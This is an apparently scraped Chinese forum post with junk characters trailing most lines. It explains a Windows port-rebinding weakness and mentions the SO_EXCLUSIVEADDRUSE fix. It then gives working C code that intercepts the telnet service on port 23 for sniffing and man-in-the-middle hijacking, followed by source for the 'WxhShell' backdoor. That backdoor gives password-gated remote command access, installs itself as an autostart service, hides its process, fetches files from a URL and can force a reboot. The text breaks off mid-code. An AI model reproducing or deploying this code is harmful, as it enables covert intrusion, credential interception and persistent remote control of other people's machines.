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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: UN zlN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _cc#Qlw 7  
s VJ!FC  
  saddr.sin_family = AF_INET; *e-A6S h  
:cGt#d6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {K9/H qH  
;_^fk&+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |b-]n"}c>  
co9 .wB@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,(;lIP  
|37 g ~  
  这意味着什么?意味着可以进行如下的攻击: K91)qI;BD  
w9o^s5n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e_/b2"{  
j{NNSi3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f|R"u W +  
u%/goxA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #*TEq  
`;>= '"O!\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  s 1e:v+B]  
Fd#m<"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oI.G-ChP  
l'\pk<V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lKlU-4  
PSPmO'C+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Er{#ziN+  
\[jq4`\$  
  #include FIbp"~  
  #include TpHfS]W-P  
  #include F$^Su<w5l  
  #include    6e _dJ=_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L5qwWvbT  
  int main() CE"JS-S?  
  { u-tQ9ioKC  
  WORD wVersionRequested; C&6IU8l\  
  DWORD ret; XK: 9r{r{  
  WSADATA wsaData; _L@2_#h!  
  BOOL val; ,2j.<g&   
  SOCKADDR_IN saddr; ?}m']4p  
  SOCKADDR_IN scaddr; Q4*fc^?u  
  int err; jq+A-T}@  
  SOCKET s; ,:`ND28V7  
  SOCKET sc; JB>b`W9   
  int caddsize; Fr%d}g  
  HANDLE mt; :"l-KQ0  
  DWORD tid;   'sxNDnGg  
  wVersionRequested = MAKEWORD( 2, 2 ); .VkbYK  
  err = WSAStartup( wVersionRequested, &wsaData ); H6&J;yT}  
  if ( err != 0 ) { 8,atX+tc  
  printf("error!WSAStartup failed!\n"); x3u4v~ "-  
  return -1; XXh6^@H=  
  } KX}Rr7a  
  saddr.sin_family = AF_INET; RKPD4e>%  
   h68]=KyK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -CRQ&#p1]  
gq"gUaz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m\ddp_l  
  saddr.sin_port = htons(23); a\%xB >LX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fPrLM'  
  { [p2H=  
  printf("error!socket failed!\n"); MNg^]tpf  
  return -1; 8Th` ]tI  
  } eQVZO>)P1+  
  val = TRUE; J@OB`2?Zv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [xT:]Pw}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) EZYBeqv  
  { 9 Rx s  
  printf("error!setsockopt failed!\n"); 8o/}}=m$  
  return -1; 5r?m&28X  
  } !xwG% {_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]XTu+T.aT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 06Gt&_Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cW{1 Pz^_  
f}L*uw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0jzbG]pc:E  
  { @o-B{ EH8  
  ret=GetLastError(); l$YC/ bP  
  printf("error!bind failed!\n"); VL[kJi   
  return -1; >/#KI~}'N  
  } _ ib"b#  
  listen(s,2); #BQ.R,  
  while(1) 3( ]M{4j  
  { 7c;9$j  
  caddsize = sizeof(scaddr); jr)7kP@  
  //接受连接请求 ^::EikpF%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P1zdK0TM  
  if(sc!=INVALID_SOCKET) ~l$3uN[g  
  { IJJ%$%F/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M gC:b-&5_  
  if(mt==NULL) T<I=%P)  
  { m] W5+  
  printf("Thread Creat Failed!\n"); cS.-7  
  break; !gLkJ)  
  } dV Q-k  
  } {>"NyY  
  CloseHandle(mt); n3lE, b  
  } XUF\r]B,9  
  closesocket(s); [lk'xzE  
  WSACleanup(); "7 v-` i  
  return 0; k@ K7yK  
  }   KE1ao9H8wR  
  DWORD WINAPI ClientThread(LPVOID lpParam) zh $}~RG[  
  { l?iSxqdT  
  SOCKET ss = (SOCKET)lpParam; oxj3[</'k  
  SOCKET sc; a"av#Y  
  unsigned char buf[4096]; i_kE^SSgm  
  SOCKADDR_IN saddr; 0I{gJSK.,  
  long num; tV9L D>3  
  DWORD val; ](B@5-^  
  DWORD ret; nkv(~ej(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @vMA=v7a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kqb0>rYa   
  saddr.sin_family = AF_INET; 9 C{;h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4G@nZn  
  saddr.sin_port = htons(23); \j2;4O?`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zd_HxYrN  
  { X]loJoM9  
  printf("error!socket failed!\n"); w0ZLcND{  
  return -1; b7/AnSR~Jt  
  } A!vCb 8(TX  
  val = 100; +p8BGNW,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P"lBB8\eku  
  { Fxc)}i`   
  ret = GetLastError(); dDDGM:]  
  return -1; j,d*?'X  
  } X1tXqHJF}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t |W)   
  { Jd,)a#<j  
  ret = GetLastError(); f1PN |  
  return -1; >\ u<&>i  
  } AkU<g  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?%O3Oi Xz  
  { 9e U[*S  
  printf("error!socket connect failed!\n"); _al|'obomy  
  closesocket(sc); =&dW(uyzY  
  closesocket(ss); 7DKz;o  
  return -1; Kd3?I5t  
  } 0Y]0!}  
  while(1) aS}1Q?cU  
  { &t(0E:^TRU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =o p%8NJf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qi^!GA'5j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #,(sAj  
  num = recv(ss,buf,4096,0); q@hp.(V  
  if(num>0) Sb".]>^  
  send(sc,buf,num,0); `d2,*KR  
  else if(num==0) as+GbstN  
  break; $3X-r jQtW  
  num = recv(sc,buf,4096,0); O|cu.u|  
  if(num>0) ,&HR(jTo  
  send(ss,buf,num,0); OOBhbpg!D  
  else if(num==0) zu2HH<E  
  break; >%Ee#m  
  } >\<*4J$PZ  
  closesocket(ss); ]v G{kAnH  
  closesocket(sc); CnN9!~]"  
  return 0 ; f-2$ L  
  } 8_H=^a>2  
k#}g,0@  
?hYqcT[%  
========================================================== !5}l&7:(MN  
JIO$=+p  
下边附上一个代码,,WXhSHELL |DF9cd^  
Q 6C-4ja  
========================================================== r' BAT3  
'j%F]CK  
#include "stdafx.h" #kkY@k$4  
ExHAY|UA  
#include <stdio.h> XH7xT@  
#include <string.h> B6}FIg)  
#include <windows.h> Dbx~n#nG  
#include <winsock2.h> <uP^-bv;(  
#include <winsvc.h> 5wC* ?>/  
#include <urlmon.h> ]>i~6!@  
lo&#(L+2  
#pragma comment (lib, "Ws2_32.lib") p3^jGj@  
#pragma comment (lib, "urlmon.lib") >i,iOx|E-  
%ICglF R  
#define MAX_USER   100 // 最大客户端连接数 )<4_:  
#define BUF_SOCK   200 // sock buffer f!t69nd%L  
#define KEY_BUFF   255 // 输入 buffer \ u+xa{b|  
aaWJ* >rJ  
#define REBOOT     0   // 重启 V_U'P>_I  
#define SHUTDOWN   1   // 关机 M~6@20$oW  
4YU/uQm  
#define DEF_PORT   5000 // 监听端口 sTHq&(hLUG  
 PWgDFL?  
#define REG_LEN     16   // 注册表键长度 smAC,-6 ]~  
#define SVC_LEN     80   // NT服务名长度 bzmr"/#D3  
'_+9y5  
// 从dll定义API ^b?2N/m@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); > ^[z3T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PHM:W%g:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IF k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t@bt6J .{  
`BZ&~vJ_  
// wxhshell配置信息  ZC^C  
struct WSCFG { '3l$al:H^  
  int ws_port;         // 监听端口 $<?X7n^  
  char ws_passstr[REG_LEN]; // 口令 @=]8^?$t 0  
  int ws_autoins;       // 安装标记, 1=yes 0=no Md; /nJO~{  
  char ws_regname[REG_LEN]; // 注册表键名 T9y;OG  
  char ws_svcname[REG_LEN]; // 服务名 ZX`J8lZP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^ DAa%u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~KIDv;HSb[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jkrx]`A{~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z xZtz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q<=: >?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t]_S  
6a}r( yP  
}; ,35&G"JK5  
q(z7~:+qNr  
// default Wxhshell configuration `QP ~  
struct WSCFG wscfg={DEF_PORT, Z&yaSB  
    "xuhuanlingzhe", V`a+Hi<P\  
    1, 9|:^k.  
    "Wxhshell", U_z2J(e~  
    "Wxhshell", v1[_}N9f>H  
            "WxhShell Service", 3-wD^4)O,  
    "Wrsky Windows CmdShell Service", {0jIY  
    "Please Input Your Password: ", d}0qJoH4  
  1, ZKbDp~  
  "http://www.wrsky.com/wxhshell.exe", V/#v\*JHFc  
  "Wxhshell.exe" sroGER .  
    }; ]= x 1`j  
X1J;1hRUP  
// 消息定义模块 Bmr<O !  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; * crw^e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &&RA4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e 3@x*XI  
char *msg_ws_ext="\n\rExit."; /r$&]C:Fi  
char *msg_ws_end="\n\rQuit."; -]"T^w ib  
char *msg_ws_boot="\n\rReboot..."; 2 g`[u|  
char *msg_ws_poff="\n\rShutdown..."; E)'8U  
char *msg_ws_down="\n\rSave to "; L-'k7?%(  
sB*o)8  
char *msg_ws_err="\n\rErr!"; MR9/Y:Nm  
char *msg_ws_ok="\n\rOK!"; D,W\ gP/h%  
Xza4iV  
char ExeFile[MAX_PATH]; w{7 ji}  
int nUser = 0; m3 IP7h'  
HANDLE handles[MAX_USER]; [Z }B"  
int OsIsNt; /#q")4Mf  
|+ 7f2C  
SERVICE_STATUS       serviceStatus; }ymvC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z$2L~j"=!  
]if;A)'  
// 函数声明 6&!l'[hU  
int Install(void); I"Q<n[g0'  
int Uninstall(void); ua& @GXvZ  
int DownloadFile(char *sURL, SOCKET wsh); z%2w(&1  
int Boot(int flag); 7!d$M{0"  
void HideProc(void); Yw"P)Zp  
int GetOsVer(void); [yd6gH  
int Wxhshell(SOCKET wsl); W8/(;K`/  
void TalkWithClient(void *cs); ,Aa|Bd]b  
int CmdShell(SOCKET sock); !UNNjBBP7  
int StartFromService(void); 5RhF+p4  
int StartWxhshell(LPSTR lpCmdLine); X ]s"5ju|t  
P>htQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V/H@vKN2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cF.mb*$K  
q+/l"&j.  
// 数据结构和表定义 BjD&> gO)  
SERVICE_TABLE_ENTRY DispatchTable[] = jU$Y>S>l  
{ 0 BC`iql5  
{wscfg.ws_svcname, NTServiceMain}, r@$B'CsLj  
{NULL, NULL} UH40~LxIma  
}; rt.[,m  
i[=C_+2  
// 自我安装 .~<]HAwq  
int Install(void) u5E/m  
{ f'_ S1\  
  char svExeFile[MAX_PATH]; F$ {4X /9n  
  HKEY key; SI_?~Pf3k  
  strcpy(svExeFile,ExeFile); 7\/u&  
R~c1)[[E  
// 如果是win9x系统,修改注册表设为自启动 Jk*QcEE=  
if(!OsIsNt) { DcU C,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n0FYfqH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); + U5U.f%  
  RegCloseKey(key); +u#Sl)F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D=9}|b/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `@\^m_!}  
  RegCloseKey(key); cs5ix"1A  
  return 0; 8nu> gA  
    } %gTVW!q  
  } RIo'X@zb  
} 00qZw?%K  
else { bA+[{  
V85.DK!  
// 如果是NT以上系统,安装为系统服务 *.dKR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kknhthJ  
if (schSCManager!=0) p,s&61]  
{ <,-,?   
  SC_HANDLE schService = CreateService .nPL2zO  
  ( ylim/`u}6  
  schSCManager, XW:%vJu^`  
  wscfg.ws_svcname, R\ q):,  
  wscfg.ws_svcdisp, {c?ymkK  
  SERVICE_ALL_ACCESS, %#4 +!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =BW9/fG  
  SERVICE_AUTO_START, GWh|FEqUbf  
  SERVICE_ERROR_NORMAL, iE+6UK  
  svExeFile, u2,H ]-  
  NULL, G|V\^.f<  
  NULL, (olLB  
  NULL, UFk!dK+  
  NULL, \!7*(&yly  
  NULL 7uA\&/ ,  
  ); nr<.YeJ  
  if (schService!=0) 6'vi68  
  { R}.3|0  
  CloseServiceHandle(schService); .r*#OUC  
  CloseServiceHandle(schSCManager); 500> CBL0O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @:IL/o*  
  strcat(svExeFile,wscfg.ws_svcname); xx6S`R6:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kpWzMd &RK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X=#It&m%s  
  RegCloseKey(key); AA_@\: w^  
  return 0; ywe5tU  
    } w?/f Zx  
  } 64b<0;~  
  CloseServiceHandle(schSCManager); mQnL<0_<f  
} tKX}Ok:V%  
} Ir>2sTrm  
z^9E;  
return 1; VX&WlG`wa  
} U~hCn+0  
pNSst_!>  
// 自我卸载 t@r#b67WJe  
int Uninstall(void) ;6zPiaDQ  
{ +|M{I= 8  
  HKEY key; 8LeK wb  
u<C $'V  
if(!OsIsNt) { h/{8bC@bi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p*!q}%U  
  RegDeleteValue(key,wscfg.ws_regname); <YSg~T  
  RegCloseKey(key); ,.q8Xf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LAos0bc)w\  
  RegDeleteValue(key,wscfg.ws_regname); e-jw^   
  RegCloseKey(key); h%/ssB  
  return 0; #9INX`s-  
  } >waN;&>/  
} k5g@myb-  
} }oV3EIH  
else { WySNL#>a  
u5/t2}^T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r /^'Xj'(  
if (schSCManager!=0) D|"sE>  
{ h2AGEg'g2[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Jtext%"eNg  
  if (schService!=0) RpULm1b  
  { 6G$/NW=L  
  if(DeleteService(schService)!=0) { t+jIHo  
  CloseServiceHandle(schService); /jvO XS\M  
  CloseServiceHandle(schSCManager); c'xUJhEL  
  return 0; QW,cn7  
  } >b3@>W  
  CloseServiceHandle(schService); \y@ eBW  
  } (26Bs':M~  
  CloseServiceHandle(schSCManager); Pb3EnNqYbM  
} Z%KL[R}^w;  
} |E? ,xWN  
|c=d;+  
return 1; J/L)3y   
} +&(J n  
g&q^.7c}  
// 从指定url下载文件 8b{U tT  
int DownloadFile(char *sURL, SOCKET wsh) yg`E22  
{ /%-o.hT  
  HRESULT hr; X1O65DMr`g  
char seps[]= "/"; f>p; siR)  
char *token; Q})t<l+L  
char *file; o}d2N/T  
char myURL[MAX_PATH]; PVZEB  
char myFILE[MAX_PATH]; Q Xsfp  
+BU0 6lLD  
strcpy(myURL,sURL); B*32D8t`u  
  token=strtok(myURL,seps); RFhU#  
  while(token!=NULL) Vn@A]Jx^  
  { 5s#R`o %Z  
    file=token; bJANZn|H  
  token=strtok(NULL,seps); w4NZt|>5j;  
  } |&9tU  
l.sm~/  
GetCurrentDirectory(MAX_PATH,myFILE); ]~$c~*0g  
strcat(myFILE, "\\"); 5sG ]3z+1  
strcat(myFILE, file); ]aREQ?ma&z  
  send(wsh,myFILE,strlen(myFILE),0); *X%?3"WH8  
send(wsh,"...",3,0); L,f^mX0<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D`1I;Tb#  
  if(hr==S_OK) Ml'bZLwq  
return 0; Fp wlV}:  
else [SKP|`I>I  
return 1; *oKgP8CF  
IvPA|8(  
} B8`R(vu;  
MacL3f  
// 系统电源模块 [O.LUR;  
int Boot(int flag) PY[S z=[  
{ /,=Wy"0TJ  
  HANDLE hToken; \ x3^  
  TOKEN_PRIVILEGES tkp; IiG4ib>)W  
Pw0{.W~r  
  if(OsIsNt) { ?aP1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1!K !oY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?psOj%  
    tkp.PrivilegeCount = 1; ]!n*V/g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hz&^_ G6`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y+|L 3'H  
if(flag==REBOOT) { r!"CH5dT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U{j5kX  
  return 0; ;4+qPWwq8W  
}  ]H@v  
else { r0rJ.}!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &f (sfM_n  
  return 0; x0}<n99qE  
} |:!E HFr  
  } iuvtj]/  
  else { WiPM <'  
if(flag==REBOOT) { }Z~pfm_S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8Sd?b5|G~  
  return 0; z:0-aDe M  
} K * xM[vO  
else { B^E2UNRA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) < P?3GT/  
  return 0; ^EnNbFI  
} wFKuSd  
} >\^N\&  
Requ.?!fG;  
return 1; 7J #g1  
} eH"qI2A  
JKEXYE  
// win9x进程隐藏模块 ?yK%]1O  
void HideProc(void) p,_6jdz  
{ T%N~oa  
\@iOnRuHn9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [| c@Yw  
  if ( hKernel != NULL ) j]cXLY  
  { A8A:@-e8A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KT]J,b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *!wO:< -  
    FreeLibrary(hKernel); .3S\Rrv  
  } ,_wm,  
E@\d<c.  
return; h^.tom g8  
} //`cwnjp  
RE(=! 8lGR  
// 获取操作系统版本 f4A4  
int GetOsVer(void) $?CBX27AV  
{ Q]2sj:  
  OSVERSIONINFO winfo; hi4h0\L!}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;r0|_mnf  
  GetVersionEx(&winfo); 0|K/=dh5+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4EaS g#  
  return 1; .O@q5G  
  else {7ZtOe  
  return 0; o|p;6  
} KV) Hywl`  
mTI\,x%<OC  
// 客户端句柄模块 $)kBz*C[  
int Wxhshell(SOCKET wsl) } Y7W1$he  
{ =:v><  
  SOCKET wsh; VDb,$i.Z0  
  struct sockaddr_in client; 8VAYIxRv  
  DWORD myID; 6B!j(R  
6x (L&>F  
  while(nUser<MAX_USER) buxI-wv  
{ %O4}i@Fe  
  int nSize=sizeof(client); /w}B07.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D=q;+,Pc  
  if(wsh==INVALID_SOCKET) return 1; O[5_ 9W 4  
d-#u/{jG)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #*7/05)  
if(handles[nUser]==0) FJwZo}<6E  
  closesocket(wsh); mV! @oNCK  
else ~T p8>bmSR  
  nUser++; u]>>B>KOJ7  
  } :<WQ;q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I!soV0V U]  
:+?W  
  return 0; yjM@/b  
} 08d_DCR  
"`$'tk[  
// 关闭 socket 7/U<\(V!g  
void CloseIt(SOCKET wsh) s&QBFyKtJ  
{ 35N/v G0  
closesocket(wsh);  7KSGG1ts  
nUser--; n'&`9M['%d  
ExitThread(0); #)h ~.D{  
}  HN~v&,  
9qu24zz$P  
// 客户端请求句柄 /v;)H#;  
void TalkWithClient(void *cs) #ejw@bd  
{ Jv4D^>yj[  
+DbWMm  
  SOCKET wsh=(SOCKET)cs; "o5gQTwb  
  char pwd[SVC_LEN]; 33,JUQ2u  
  char cmd[KEY_BUFF]; 9,EaN{GM  
char chr[1]; _w5~/PbWt  
int i,j; PhI6dB`  
&T|&D[@  
  while (nUser < MAX_USER) { u8k{N  
5{d9,$%8&  
if(wscfg.ws_passstr) { l3Bxi1k[C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [K4+G]6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0Z) ;.l^  
  //ZeroMemory(pwd,KEY_BUFF); h,WY2Hr  
      i=0; +GPT:\*q6  
  while(i<SVC_LEN) { ,;=( )-  
;MRC~F=  
  // 设置超时 ;~gd<KK  
  fd_set FdRead; cf[u%{ 6Y  
  struct timeval TimeOut; $ DZQdhv  
  FD_ZERO(&FdRead); 1N$gE  
  FD_SET(wsh,&FdRead); F#}1{$)% /  
  TimeOut.tv_sec=8; eEri v@v  
  TimeOut.tv_usec=0; g0:4zeL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f;tyoN0wHx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mTuB*  
E][{RTs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N>nvt.`P  
  pwd=chr[0]; >&TnTv?I  
  if(chr[0]==0xd || chr[0]==0xa) { 4xpWO6Q  
  pwd=0; z)Q^j>%  
  break; kFIB lPV  
  } ng&EGM  
  i++; 8$<AxNR  
    } @gqs4cg{f  
)D@n?qbG  
  // 如果是非法用户,关闭 socket `F+x]<m!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ssJDaf79  
} sc $QbOc  
#!d^3iB2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R$;&O. 5M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YT(1 "{:  
9X {nJ"  
while(1) { UK <DcM~n  
Y7t{4P  
  ZeroMemory(cmd,KEY_BUFF); hte9l)  
c>i*HN}Z|  
      // 自动支持客户端 telnet标准   `7qp\vYL  
  j=0; r?yJ  
  while(j<KEY_BUFF) { ;Y|~!%2~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5fx,rtY2sQ  
  cmd[j]=chr[0]; > v!c\  
  if(chr[0]==0xa || chr[0]==0xd) { BQ}.+T\  
  cmd[j]=0; >wS:3$Q  
  break; E#2k|TpH4  
  } `w=H'"Zv  
  j++; dK;\`>8  
    } jme5'FR  
3 cW"VrFy9  
  // 下载文件 g\{! 21M  
  if(strstr(cmd,"http://")) { Mm7n?kb6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %1?V6&  
  if(DownloadFile(cmd,wsh)) kdMS"iN8x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |o=\9:wV  
  else !>2\OSp!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v{{2<,l  
  } hYUV9k:  
  else { ~B*\k^t`  
aq,)6P`  
    switch(cmd[0]) { |m 5;M$M)  
  ?! _pP|  
  // 帮助 Ee\-q  
  case '?': { :0j`yo:w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); //5_E7Ehu$  
    break; w$;*~Qc  
  } r=H\4%P4  
  // 安装 2au(8IWu  
  case 'i': { m3xj5]#^$  
    if(Install()) $0S"Lh{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j _9<=Vu  
    else >.wd)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #M^Yh?~%w  
    break; ;6 qdOD6  
    } s>``- ]3  
  // 卸载 = 4WZr  
  case 'r': { Nl<,rD+KSD  
    if(Uninstall()) ^}7t:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7RFkHME  
    else p+sPCF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~5!TV,>ls  
    break; f<sPh>n  
    } d<'Yt|zt  
  // 显示 wxhshell 所在路径 @gjdyz  
  case 'p': { s1\BjSzk  
    char svExeFile[MAX_PATH]; M Hyl=5  
    strcpy(svExeFile,"\n\r"); tMBy ^@p  
      strcat(svExeFile,ExeFile); *^+xcG  
        send(wsh,svExeFile,strlen(svExeFile),0); [5eT|uy  
    break; Hh;6B!zb+  
    } g?AqC  
  // 重启 R|$`MX}'z  
  case 'b': { A}Dpw[Q2@8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5YH mp7c-z  
    if(Boot(REBOOT)) wVJFA1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ahbu >LPk  
    else { X|1YGZJ  
    closesocket(wsh); !K~$ -jlT  
    ExitThread(0); @d^h/w  
    } gI5nWEM0{  
    break; Q!e0Vb  
    } 49fq6ZhO  
  // 关机 ^QQ NJ  
  case 'd': { D=sc41]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j"u)/A8*  
